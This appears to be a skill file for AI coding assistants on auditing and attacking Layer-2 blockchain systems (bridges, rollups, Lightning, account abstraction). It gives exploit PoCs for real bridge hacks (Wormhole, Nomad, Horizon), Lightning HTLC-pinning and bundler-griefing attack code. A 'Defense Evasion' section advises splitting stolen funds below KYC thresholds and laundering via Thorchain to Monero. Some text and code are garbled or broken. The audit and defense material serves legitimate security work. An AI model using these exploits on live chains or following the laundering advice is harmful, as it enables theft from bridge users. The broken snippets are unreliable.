Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.
Quelldateien prüfen
Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.
Mit Codex oder Claude installieren Kopieren Sie diesen Prompt, fügen Sie ihn in Codex, Claude oder einen anderen Assistant ein und lassen Sie die Skill-Seite prüfen und installieren.
Ein direkter Befehl überspringt den Prüf-Prompt. Prüfen Sie die Quelle, bevor Sie ihn ausführen.
payloads.md — Command + exploit catalogue organized by L2 family (Lightning Network, Optimistic Rollups, ZK Rollups, Bridges, Account Abstraction, DA layers) — 60+ code blocks with Foundry/Hardhat/Brownie PoCs, Slither/Echidna harnesses, and replay attack templates for every major L2 incident class.
test-cases.md — 12 structured test cases (TC-L2-001 through TC-L2-012) across Static Analysis, Bridge Replay, Sequencer/Fraud-Proof Analysis, ZK Soundness, Lightning/HTLC, Account Abstraction, and DA Layer categories.
Audit, exploit, and harden protocols that live above L1 — payment channels, rollups, sidechains, bridges, account abstraction, and data-availability layers. L2 security is fundamentally different from L1 smart-contract auditing because the trust assumptions, the cryptographic primitives, and the attack surface all change.
The five things that make L2 security different from blockchain-web3:
Off-chain components are now in scope. An L1 audit stops at the contract bytecode. An L2 audit must also cover the sequencer, the prover, the validator set, the relayer, the bridge multisig, and the off-chain message-passing daemon. The 2022 Ronin bridge ($625M loss) was not a smart-contract bug — it was a 5-of-9 validator multisig socially engineered down to effectively 3-of-5. The contract was "correct."
Cryptography that L1 takes for granted is now attack surface. ZK rollups depend on sound zero-knowledge proof systems (PLONK, Halo2, STARK). A verifier bug or trusted-setup compromise breaks the entire chain. The 2022 Wormhole hack ($326M) was a signature verification bypass on Solana's program — the contract correctly verified Ed25519 signature, just not .
SignatureAccount
an
the right one
Liveness and censorship are first-class. An Optimistic rollup's sequencer can censor any user by refusing to include their transaction, and can stall the entire chain by going offline. There is no L1 equivalent — L1 validators are decentralized by assumption. L2 sequencer centralization is a $1B+ outage risk.
Bridges are the single most attacked primitive in all of crypto. As of 2024, bridge hacks account for the majority of all stolen crypto value, totaling >$2.8B in known losses. Bridges concentrate funds (the contract holds TVL from both chains), inherit the weaker security model of the two chains they connect, and almost always have an off-chain signer component that is the actual weak link.
Each L2 family has its own exploit class. Optimistic rollups: fraud-proof gaming. ZK rollups: prover/verifier soundness. Polygon PoS: validator-set stake concentration. Lightning: channel jamming and HTLC pinning. Bridges: validator/signature multisig compromise plus message-replay. Account abstraction: Paymaster griefing and bundler front-running. Treating L2 as "just more EVM" misses every L2-specific bug.
Differentiation from blockchain-web3
blockchain-web3 covers L1 EVM smart contracts: Solidity basics, the EVM object format, reentrancy/integer-overflow/access-control bugs, DeFi economic attacks (flash loans, oracle manipulation, MEV), proxy patterns, and L1 wallet security.
blockchain-l2-attack covers everything above L1:
Concern
blockchain-web3 (L1)
blockchain-l2-attack (L2)
Scope
Single EVM chain (Ethereum mainnet, BNB, Arbitrum as a target)
Same tools PLUS bridge simulators, L2 node devnets (OP Bedrock, Arbitrum Nitro), c-lightning/LND harnesses, ZK circuit analyzers
When in doubt: if the bug lives in a contract that runs on Ethereum L1 and could be replayed on any L1 EVM chain, it belongs in blockchain-web3. If the bug requires the sequencer, prover, validator set, bridge multisig, off-chain relayer, or L2-specific precompile, it belongs here.
Difference from crypto-attacks: Crypto-attacks covers the algorithms (RSA, ECC, AES, padding oracles, lattice). This skill covers systems built on top of those algorithms — bridge signature aggregation, rollup fraud proofs, ZK verifier contracts. The math is assumed sound; the wiring on top of it is not.
Difference from supply-chain-security: Supply-chain covers dependency provenance and CI/CD compromise. This skill covers a different kind of supply chain — the cross-chain message-passing pipeline where a single compromised relayer can mint unlimited tokens on the destination chain.
Use Cases
Cross-chain bridge pre-deploy audit: lock-mint/burn-mint wrapper review, validator-set membership changes, signature aggregation soundness, message-replay protection across chain IDs, and rate-limiting on the wrapper contract.
Bridge post-incident forensic replay: given a drained bridge address and the exploit tx hash (Wormhole, Nomad, Ronin, Poly Network, Multichain, Horizon), reproduce the exploit on an anvil fork at the pre-incident block, identify the root cause, and write a regression test against the patched contract.
Polygon PoS validator review: validator-set stake concentration, bor/heimdall node configuration, checkpoint verification on Ethereum L1, and the bridge contracts (Plasma -> PoS transition surface).
Sidechain audit (Gnosis Chain, Palm): POA validator set review, bridge multisig threshold analysis, native bridge contract audit, and exit-game soundness for any legacy Plasma components.
ERC-4337 account abstraction review: Bundler mempool censorship analysis, Paymaster solvency and griefing vectors, factory-callee front-running on createSender, signature aggregation soundness, and storage-slot collision risk across smart accounts.
DA layer (Celestia/EigenDA/Avail) integration review: blob-KZG proof verification, light-client fraud-proof review, sequencer sampling resistance (DAS), and the bridge contract that bonds DA-layer asserts back to a settlement chain.
Real-world exploit deep dive: full chain-by-chain reconstruction of any of the $100M+ L2 hacks — useful for red-team training, post-mortem writing, and understanding what actually goes wrong.
Core Tools
L1 Forking + Rollup Node Devnets
Tool
Purpose
Command Example
Anvil (Foundry)
Local mainnet fork — required for bridge replay at a specific block
Phase 3 — Contract Audit (same as L1, but bridge-aware)
# Standard Slither + Mythril + Echidna pass on every contract in the L2 surface
slither src/bridge/ --filter-paths "lib|test|mocks"
myth analyze src/bridge/L1Bridge.sol --modules transaction_order_independence,ether_thief --max-depth 50
myth analyze src/bridge/L2Bridge.sol --modules arbitrary_send_eth,suicide --max-depth 50
# Bridge-specific: verify the lock-mint accounting invariant in Echidna
echidna-test echidna/BridgeLockMintEchidna.sol --contract BridgeLockMintEchidna --test-mode property
Phase 4 — Off-Chain Audit
This is where L2 audits diverge from L1. Map and review:
Sequencer (Optimistic/ZK rollup): Who operates it? Can it censor? What's the forced-inclusion escape hatch (L1 enqueue on OP Stack, L1 sendL2Message on Arbitrum)? Can a single sequencer key compromise mint authority?
Validator set (Polygon PoS, Ronin, Horizon): What's the threshold (M-of-N)? What's the stake distribution? Can a social-engineering attack reduce effective threshold?
Prover / Aggregator (ZK rollups): Who runs the prover? Is the trusted-setup ceremony transcript published? Is the verifier contract matched to the trusted-setup SRS?
Relayer daemon (Wormhole, Multichain): Where does it run? Does it have access to validator keys? Is the daemon host hardened?
Phase 5 — Cross-Chain Replay
# Replay a past incident on a fork at the pre-incident block
anvil --fork-url $L1_RPC --fork-block-number 14282107 --port 8545 & # pre-Wormhole hack
cast rpc --rpc-url http://localhost:8545 anvil_impersonateAccount 0xAttacker
cast send --rpc-url http://localhost:8545 --from 0xAttacker --unlocked 0xBridge <exploit-calldata>
# Verify same loss occurred
cast balance 0xAttacker --rpc-url http://localhost:8545
Phase 6 — Exploit PoC on Local Lab
# Run the exploit as a forge test against the fork
forge test --match-test test_PoC_WormholePostMessageBypass -vvvv \
--fork-url $L1_RPC \
--fork-block-number 14282107 2>&1 | tee evidence/wormhole_poc.log
KZG proof verification review + DAS sampling resistance test
Celestia light-client audit
Multisig signer set review
Manual + on-chain threshold diff
Forta alerting on threshold changes
Defense Perspective
Bridges & Cross-Chain Messaging
Defense Measure
Description
Rate limiting on bridge mints
Cap mintable-per-block to N% of total liquidity. Slows down an attacker even if a key is compromised, giving time to pause.
Multi-sig threshold > 50% + geographic distribution
M-of-N where M > N/2, with signers distributed across legal jurisdictions and hardware security modules (HSMs). Resists both key theft and coercion.
Bridge pausable + Sentinel
Bridge should be pausable by a 2-of-3 multisig, with an automated Sentinel (OpenZeppelin Defender) that pauses on anomalous mint volume.
Per-chain message-replay protection
Every cross-chain message must commit to (source chain ID, destination chain ID, sequence number). Reject replays from a different chain ID.
Sequencers & Data Availability
Defense Measure
Description
Sequencer failover + escape hatch
L1 forced-inclusion mechanism (OP enqueue, Arbitrum L2ToL1MessagePasser) must work even when the sequencer is offline. Users can always exit via L1.
Fraud-proof window ≥ 7 days
Optimistic rollup challenge windows must be long enough for honest watchers to catch and prove fraud. 7 days is the de-facto minimum.
ZK proof system audit + trusted setup
Use a published, audited proving system (Halo2, PLONK). Publish the trusted-setup ceremony transcript. Use a universal SRS where possible (e.g., Aztec's ceremony).
Validator Sets & State Channels
Defense Measure
Description
Timelock on validator-set changes
Any change to the validator set or multisig threshold must wait 24-48h on-chain. Lets users exit before a malicious threshold change takes effect.
WatchTower network
For Lightning and state channels, a WatchTower service watches for old-state channel closes and broadcasts penalty transactions. Reduces need for 24/7 node liveness.
Account abstraction bundler decentralization
Bundlers must be a competitive, decentralized network — not a single operator. Otherwise the bundler can censor any UserOperation.
Practical Steps
Detailed payloads in payloads.md, complete test checklist in test-cases.md.
Exercise 1: Replay the 2022 Wormhole Hack on a Fork
Goal: reproduce the Wormhole $326M exploit on a local anvil fork at the pre-incident block.
# Wormhole hack: Solana mainnet block ~130889732, Ethereum block ~14282107
# The bug: postMessage() on the Wormhole bridge verified a VAA (Verified Action Approval)
# signature without checking that the signer was the registered Guardian set.
# An attacker faked a Guardian signature and minted 120,000 wETH on Solana.
# Fork at the pre-incident block
anvil --fork-url $MAINNET_RPC --fork-block-number 14282107 --port 8545 &
sleep 2
# Impersonate the attacker EOA
ATTACKER=0x629e7Da20197a5429d70DA521639708c5a6d8242
cast rpc --rpc-url http://localhost:8545 anvil_impersonateAccount $ATTACKER
cast rpc --rpc-url http://localhost:8545 anvil_setBalance $ATTACKER 0x1000000000000000000
# Decode the exploit calldata
cast tx 0x629e7Da20197a5429d70DA521639708c5a6d8242 --rpc-url http://localhost:8545
# Look for: postMessage call with a fake VAA
Exercise 2: Foundry PoC of the Nomad Indiscriminate-Call Bug
Goal: write a forge test that demonstrates how the 2022 Nomad hack let any address drain the bridge by replaying a single calldata pattern.
// test/NomadPoC.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
interface INomadBridge {
function process(bytes memory _message) external;
}
contract NomadPoC is Test {
INomadBridge bridge = INomadBridge(0x88A69B4E698A4B090DF6CF5A7bE7d7D3Caf0cE44);
function test_PoC_NomadIndiscriminateProcess() public {
// Fork at block 15259350 (immediately before the exploit)
vm.createSelectFork(vm.envString("MAINNET_RPC"), 15259350);
// Build a message with: recipient = address(this), amount = 1 ether
// The bug: any properly-formatted message was treated as valid
bytes memory message = _craftMessage(address(this), 1 ether);
uint256 before = address(this).balance;
bridge.process(message);
uint256 after = address(this).balance;
assertGt(after, before, "funds received from indiscriminate process()");
}
function _craftMessage(address to, uint256 amount) internal pure returns (bytes memory) {
// Nomad message format: 32B version, 32B nonce, 32B origin, 32B sender, 32B destination, 32B recipient, 32B amount, ...
return abi.encodePacked(
bytes32(uint256(0)), // version
bytes32(uint256(0)), // nonce
bytes32(uint256(0)), // origin domain
bytes32(uint256(0)), // sender
bytes32(uint256(0)), // destination domain
bytes32(uint256(uint160(to))), // recipient
bytes32(amount) // amount
);
}
}
Goal: run a bridge-specific Slither pass focused on the failure modes that have actually drained bridges.
# Targeted detector set for bridges
slither src/bridge/ \
--detect reentrancy,reentrancy-eth,reentrancy-no-eth,reentrancy-unlimited-gas, \
arbitrary-send-eth,unchecked-transfer,arbitrary-send-erc20,controlled-delegatecall, \
tx-origin,timestamp,dangerous-strict-equality,assembly,suicidal,centralized-risk
# Bridge-specific: check signature verification patterns
# The detector `tx-origin` catches `require(msg.sender == tx.origin)` which is unsafe in L2 context
# (a contract wallet can never call the bridge). Use EIP-2771 meta-transaction pattern instead.
# Output for downstream triage
slither src/bridge/ --json slither_bridge.json
jq '.results.detectors[] | select(.impact=="High" or .impact=="Medium") | {check, impact, first_slot}' slither_bridge.json
Exercise 4: Echidna Bridge Accounting Invariant
Goal: define and test the lock-mint invariant — every mint on the destination chain must correspond to a lock on the source chain.
// echidna/BridgeLockMintEchidna.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "../src/bridge/L1Bridge.sol";
import "../src/bridge/L2Bridge.sol";
contract BridgeLockMintEchidna {
L1Bridge public l1;
L2Bridge public l2;
constructor() {
l1 = new L1Bridge();
l2 = new L2Bridge();
l1.setPeer(address(l2));
l2.setPeer(address(l1));
}
// INVARIANT: total minted on L2 <= total locked on L1
function echidna_mint_never_exceeds_lock() public view returns (bool) {
return l2.totalMinted() <= l1.totalLocked();
}
// INVARIANT: each deposit's hash is unique (no replay)
function echidra_no_deposit_replay(uint256 amount, uint256 nonce) public {
l1.deposit{value: amount}(address(this), bytes32(nonce));
// Second deposit with the same nonce must revert
(bool ok,) = address(l1).call(abi.encodeWithSelector(l1.deposit.selector, address(this), bytes32(nonce)));
// ok should be false for the second call
assert(!ok);
}
receive() external payable {}
}
Goal: demonstrate the HTLC-pin DoS that cripples Lightning routing nodes by keeping HTLCs pending until expiry.
# Install c-lightning + Lightning Network Daemon (LND)
sudo apt install -y lightningd lightnin-cli
# Or use the official docker images:
docker pull elementsproject/lightningd
docker pull lightninglabs/lnd
# Start a regtest cluster (3 nodes: A, B, C, with A<->B and B<->C channels)
# Use Polar Lightning (polar.nintondo.io) for a GUI lab, or the polar-CLI:
docker run -d -p 8081:8081 polarlightning/polar:1.0.0
# Open a channel A -> B (B is the routing victim)
lightning-cli --network=regtest --lightning-dir=/tmp/l1 fundchannel 0222..(B_pubkey) 1000000
# From A, attempt many HTLCs to C through B, each with a tiny amount and a long expiry
# Each HTLC ties up B's capital until the CLTV expiry
for i in $(seq 1 100); do
lightning-cli --lightning-dir=/tmp/l1 pay 0333..(C_invoice) 1sat 0.001sat 1000 0333..(C_pubkey)
done
# B is now pinned: capital locked in 100 pending HTLCs, no new HTLCs can be forwarded
Exercise 6: ERC-4337 Bundler Griefing PoC
Goal: demonstrate that a malicious UserOperation can DoS a bundler by forcing a revert mid-bundle.
// test/ERC4337GriefPoC.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import "@account-abstraction/contracts/interfaces/IEntryPoint.sol";
contract GriefingAttacker {
IEntryPoint public entryPoint;
constructor(address _ep) { entryPoint = IEntryPoint(_ep); }
function craftMaliciousOp() internal view returns (UserOperation memory) {
// The UserOperation's callData targets a function that reverts ONLY when
// called in the context of a bundle (e.g., checks `msg.sender == entryPoint` and bundle size > 1)
return UserOperation({
sender: address(this),
nonce: 0,
initCode: "",
callData: abi.encodeWithSelector(this.bundleReverter.selector),
callGasLimit: 100000,
verificationGasLimit: 100000,
preVerificationGas: 21000,
maxFeePerGas: 100 gwei,
maxPriorityFeePerGas: 1 gwei,
paymasterAndData: "",
signature: ""
});
}
// This function reverts ONLY when called as part of a bundle
function bundleReverter() external {
if (msg.sender == address(entryPoint)) {
// Detect bundle context by inspecting entryPoint state
// (e.g., whether other ops are in the same handleOps call)
assembly { revert(0, 0) }
}
}
}
Goal: identify whether the Polygon validator set has reached effective centralization.
# Pull the current validator set from the stake manager
cast call 0x5e3Ef299fDDf15eAa483AE762359C841972A5eC2 "getCurrentValidatorSet()" \
--rpc-url $MAINNET_RPC | cast --decode '(address[],uint256[])'
# Compute the Nakamoto coefficient: minimum number of validators that
# together control > 33% of total stake (enough to halt checkpoints)
python3 scripts/polygon_nakamoto.py --rpc $MAINNET_RPC --threshold 0.33
# Expected output: "Nakamoto coefficient (33%): N validators"
# If N <= 5, the chain is effectively centralized.
Exercise 8: OP Stack Bedrock Devnet (Sequencer Failure Test)
Goal: stand up a local OP Stack devnet, kill the sequencer, verify the L1 forced-inclusion escape hatch still works.
# Clone the OP Stack monorepo
git clone https://github.com/ethereum-optimism/optimism
cd optimism
make install
# Bring up the devnet (L1 geth + L2 rollup node + L2 geth + deployer)
make devnet-up
# Wait ~30s for setup to complete
# Verify L2 is producing blocks
cast block-number --rpc-url http://localhost:9545
# Send a normal tx (goes through the sequencer)
cast send --rpc-url http://localhost:9545 \
--private-key $DEV_PRIVATE_KEY \
0xDead 1ether
# Now kill the sequencer
docker stop op-devnet-sequencer
# Send a forced-inclusion tx via L1 (should still work)
cast send --rpc-url http://localhost:8545 \
--private-key $DEV_PRIVATE_KEY \
0xDepositFeed \
"depositTransaction(address,uint256,uint256,bool,bytes)" \
0xDead 1ether 100000 false "0x"
# The L2 node should pick this up via the L1 → L2 deposit feed, bypassing the sequencer
Exercise 9: zkSync Era Verifier Audit
Goal: audit the zkSync Era verifier contract for soundness against a fake proof.
# Pull the verifier contract address (zkSync Era Diamond Proxy)
cast call 0x32400084C286CF3E17e7B677ea9583e60a000324 "getVerifier()" \
--rpc-url $ZKSYNC_RPC
# Slither pass focused on the verifier
slither src/Verifier.sol --detect dangerous-strict-equality,arithmetic,assembly
# Use Foundry's fuzzing to throw random "proof" bytes at the verifier
forge test --match-test testFuzz_VerifierRejectsRandomProof -vvv \
--fork-url $ZKSYNC_RPC
Goal: simulate the threshold-signature compromise that led to the 2023 Multichain incident ($1.5B+ loss).
# Multichain used an MPC (multi-party computation) threshold signer with a small set of signers
# The 2023 incident: the MPC key custodians were socially engineered / coerced in China
# Attackers got control of the threshold signer and minted unlimited tokens on destination chains
# Lab: simulate the same with a local Gnosis Safe + threshold signer
docker run -d -p 9000:9000 gnosispm/safe-relay-service
# Configure a 3-of-5 threshold signer
# Demonstrate: compromising 3 of 5 signers yields full mint authority
# Defense: distribute signers across jurisdictions + HSMs + geographically diverse data centers
Exercise 11: Horizon Bridge Validator Set Replay
Goal: reproduce the 2022 Horizon (Harmony) bridge hack ($100M) by exploiting the 2-of-5 validator multisig.
# Horizon used a 2-of-5 multisig for bridge confirmation
# The attack: 2 of the 5 validator keys were compromised (likely via private-key leak)
# Compromised validators signed arbitrary mint messages
# Fork at pre-incident block on Harmony mainnet (block ~19743149)
anvil --fork-url $HARMONY_RPC --fork-block-number 19743149 --port 8545 &
# Demonstrate that 2 signatures can mint arbitrary tokens
forge test --match-test test_PoC_HorizonTwoOfFiveBypass -vvvv \
--fork-url http://localhost:8545 \
--fork-block-number 19743149
Goal: turn a bridge finding into a structured report row.
### [CRITICAL] Bridge mint authority relies on 2-of-5 multisig without timelock
**Severity**: CRITICAL
**Component**: Off-chain validator set + L2 mint function (0xL2Bridge)
**Location**: src/bridge/L2Bridge.sol:84 (`mint`), validator config `validators.json`
**Description**:
The destination-chain `mint` function trusts any message co-signed by 2 of 5
validator addresses. The validator addresses are static EOA keys held by
5 individuals, without an on-chain timelock on validator-set changes and without
HSM-backed key storage. A 2-of-5 threshold is below the 50% mark (M <= N/2),
meaning collusion or compromise of 2 individuals is sufficient to mint unlimited
tokens on the destination chain.
**Impact**:
Total loss of bridge TVL. This is the same configuration as the 2022 Horizon
bridge hack ($100M loss) and similar to the 2022 Ronin bridge hack ($625M loss,
where effective threshold was reduced to 5-of-9 then socially engineered).
**Proof of Concept**:
`test/HorizonStylePoC.t.sol::test_PoC_TwoOfFiveMintBypass` — forges two validator
signatures on a fake mint message and asserts the L2 bridge mints tokens.
**Recommendation**:
1. Raise threshold to M-of-N where M > N/2 (e.g., 4-of-5 or 7-of-9).
2. Move validator keys to HSMs (AWS CloudHSM, YubiHSM, or dedicated hardware).
3. Distribute signers across legal jurisdictions and operators.
4. Add a 24-48h on-chain timelock on validator-set changes.
5. Add rate limiting on mints (max N% of TVL per block).
6. Add a WatchTower / Sentinel that pauses the bridge on anomalous mint volume.
Safety Notes
Testnet vs mainnet: never run exploits or PoCs against mainnet contracts without explicit authorization. Use anvil --fork-url to replay mainnet state locally — funds drained on a fork are simulated, not real. This is doubly important for bridges: a single accidentally-broadcast tx on mainnet can trigger real liquidations.
Authorization scope: bug bounty programs (Immunefi, code4rena, Cantina) define what's in scope. For L2, scope often explicitly excludes the sequencer, validator nodes, and prover infrastructure — read the scope carefully before testing.
Off-chain components are not bounty targets by default: probing the sequencer RPC, validator daemon, or relayer for vulns without explicit written scope is illegal in most jurisdictions and can land you in criminal court even if you find and report a bug.
Private keys: never commit RPC URLs with embedded API keys. Never commit validator private keys, sequencer keys, or multisig signer keys — even for testnet. Use environment variables in .env (gitignored). For L2 devnets, the dev keys ($DEV_PRIVATE_KEY) are publicly known and must never be reused on mainnet.
Bridge incidents are real emergencies: if your protocol is live and you discover a bridge vulnerability, treat it as a 911 incident. Bridges concentrate TVL from multiple chains — a single exploit drains everything. Contact the team privately, prepare a pause, and have a migration plan ready.
Cryptography review requires expertise: ZK proof system soundness, BLS signature aggregation, and threshold cryptography require specialist review. If you're not an expert, partner with one. A "looks correct" review of a verifier is worse than no review — it gives false confidence.
Lightning Network mainnet: opening real channels and conducting pin attacks on Lightning mainnet causes real financial harm to routing nodes. Use regtest (the --network=regtest flag) for any attack research.
Sequencer DoS: DoS-ing a mainnet sequencer (e.g., by spamming it with expensive transactions) is an attack on every user of the rollup. Use the local OP Bedrock / Arbitrum Nitro devnet only.
Detection Methods
L2 Bridge / Sequencer Detection
Bridge transaction anomalies: Sudden spike in large bridge transactions; user base correlation.
Sequencer pause events: Sequencer going offline without scheduled maintenance.
Wallet drain + history erasure (crypto-ransomware pattern)
Etherscan: chain-hopping within 10 min of large exfil
The frontmatter TA0006 — Credential Access captures the primary initial-access vector (key compromise); the table above enumerates the additional techniques realized once an attacker establishes a foothold.
Defense Evasion Techniques
Bridge Exploitation Stealth
Use legitimate bridge UI: Don't directly interact with bridge contract; use official frontend (avoid phishing pattern).
Multiple small withdrawals: Split large exfil across many wallets; below exchange KYC threshold.
Cross-chain laundering: ETH → BTC → Monero via Thorchain; breaks on-chain traceability.
Hide exploit in upgrade: Push malicious upgrade as "security fix"; appears legitimate.
Cross-protocol chaining: Use flash loan from Aave to exploit Curve; harder to attribute.
Hacker Laws
Trust but Verify — A "5-of-9 multisig" on a spec sheet is not proof the threshold is enforced. Read the verifier contract, count the actual required signatures, and check for any path that bypasses the threshold. The 2022 Ronin hack had a 5-of-9 spec but an off-chain path that reduced it to effectively 3-of-5.
Defense in Depth — A bridge must layer: signature aggregation + timelock on validator changes + rate limit on mints + WatchTower / Sentinel pause + multisig pauser. Any single layer alone can be bypassed.
First Principles — Every bridge exploit reduces to: (a) key compromise, (b) signature/replay bypass, (c) message-deserialization bug, or (d) accounting drift between lock and mint. Memorize the four; spot every instance.
Minimize Attack Surface — Bridges are the highest-value target in crypto. The more TVL a bridge holds, the more attackers are incentivized. Don't build a bridge if you don't need one — prefer atomic swaps, L1-native interoperability, or a chain that natively supports your asset.
Information Wants to Be Free — All on-chain state is public. The validator set is public. The sequencer address is public. The multisig threshold is public. Attackers have this information instantly; defenders must publish it just as openly.
Obscurity Is Not Security — "We don't publish our validator set to protect the signers" is not a defense. The set is recoverable from on-chain signatures in minutes. The only effect of obscurity is preventing users from making informed trust decisions.
Weakest Link Is Human — The most expensive L2 hacks (Ronin, Multichain, Horizon) were not cryptographic failures. They were human failures: social engineering of validator operators, key custodianship in oppressive jurisdictions, and unencrypted key backups. Audit the humans and the operational security, not just the contract.
Learning Resources
This skill's supplementary files: payloads.md, test-cases.md
Deep-dive guide: guides/blockchain-l2-attack-playbook.md — comprehensive playbook with L2 architecture comparison, bridge security taxonomy, real-world exploit deep-dives, audit methodology, and local lab setup.
Related skills:
skills/blockchain-web3/SKILL.md — for L1 smart-contract auditing (Solidity, EVM, reentrancy, DeFi economic attacks). This skill is the prerequisite.
skills/crypto-attacks/SKILL.md — for the cryptographic primitives L2 builds on (ECDSA, BLS, Merkle proofs, zero-knowledge proof systems).
skills/pentest-reporting/SKILL.md — for structuring the audit deliverable.
skills/cloud-security/SKILL.md — for the off-chain infrastructure (validator nodes, sequencer, prover) which often runs in cloud environments.
skills/exploit-development/SKILL.md — for the rigor of PoC writing (transfers to forge test PoCs).
